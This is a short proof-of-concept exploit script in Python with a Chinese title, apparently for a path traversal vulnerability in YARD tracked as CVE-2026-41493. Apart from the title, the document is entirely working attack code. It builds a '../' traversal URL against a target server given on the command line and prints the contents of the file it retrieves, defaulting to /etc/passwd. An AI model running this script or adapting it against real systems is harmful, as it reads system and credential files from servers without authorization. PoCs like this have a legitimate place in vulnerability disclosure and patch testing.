CVE-2026-41493 YARD路径遍历漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-41493 (YARD Path Traversal) This script attempts to read a file from the target server. """ import requests import sys def check_poc(target_url, file_path): # Basic payload construction using path traversal # Adjust the number of '../' based on the server's directory depth payload = "/../../../../.." + file_path full_url = f"{target_url.rstrip('/')}{payload}" print(f"[+] Attempting to fetch: {full_url}") try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Request successful!") print("[+] Response content preview:") print(response.text[:500]) # Print first 500 chars return True else: print(f"[-] Server returned status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error connecting to server: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_url> [file_to_read]") print("Example: python3 poc.py http://localhost:8808 /etc/passwd") sys.exit(1) url = sys.argv[1] target_file = sys.argv[2] if len(sys.argv) > 2 else "/etc/passwd" check_poc(url, target_file)